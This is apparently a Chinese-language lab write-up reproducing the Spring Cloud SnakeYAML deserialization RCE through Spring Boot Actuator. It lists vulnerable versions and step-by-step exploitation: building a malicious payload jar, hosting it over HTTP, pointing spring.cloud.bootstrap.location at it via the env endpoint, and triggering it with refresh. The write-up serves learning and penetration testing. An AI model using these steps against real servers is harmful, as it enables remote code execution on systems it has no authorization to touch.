一、漏洞成因:
spring cloud在低版本下的 SnakeYAML 依賴組件存在反序列漏洞(所以有的利用叫:springcloud-snakeyaml-rce)
二、利用條件
Spring boot版本范圍:
Spring Boot 2.X 全部無法利用
Spring Boot <=1.4 可以利用成功
Spring Boot 1.5.x 在使用Dalston版本可以,使用Edgware不可以
Spring cloud 版本范圍:
Spring cloud < 1.3.0.RELEASE
組件要求:
spring-cloud-starter && spring-boot-starter
三、環境搭建及確定漏洞是否存在
1. 環境搭建就不說了,直接下面有git鏈接,下載IEDA直接啟動即可。
2. 確認 spring-boot-actuator 1.5.22 RELEASE ,這個版本要確認是否是Dalston版,我這直接通過pom.xml確認,如果在滲透測試過程應該是沒辦法直接確認。
3. 確認 Spring-cloud 版本
四、漏洞復現
1. Payload准備
下載payload文件解壓到根目錄
2.進入目錄修改AwesomeScriptEngineFactory.java,命令執行彈出計算器!
3.修改yaml-payload.yml文件
4. 編譯並打包jar文件
javac src/artsploit/AwesomeScriptEngineFactory.java //編譯java文件
jar -cvf yaml-payload.jar -C src/ . //打包成jar包
5.啟動一個python的http環境,能訪問到剛剛修改的jar文件和yml
6.env接口設置spring.cloud.bootstrap.location屬性
spring.cloud.bootstrap.location=http://192.168.43.183:8888/yaml-payload.yml
7. refresh 接口刷新spring配置,觸發rce
8.彈出畫畫板(我的計算器壞了)
總結:看了很多文章分析,整了好幾天。我復現的思路沒有像參考文章一樣本地分析跟蹤代碼,更偏向於利用過程的記錄和踩坑。
參考鏈接:
https://github.com/LandGrey/SpringBootVulExploit //漏洞總結
https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/ //漏洞分析和漏洞版本范圍
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository //漏洞環境地址
https://github.com/b1ngz/spring-boot-actuator-cloud-vul //環境地址
https://github.com/artsploit/yaml-payload //payload地址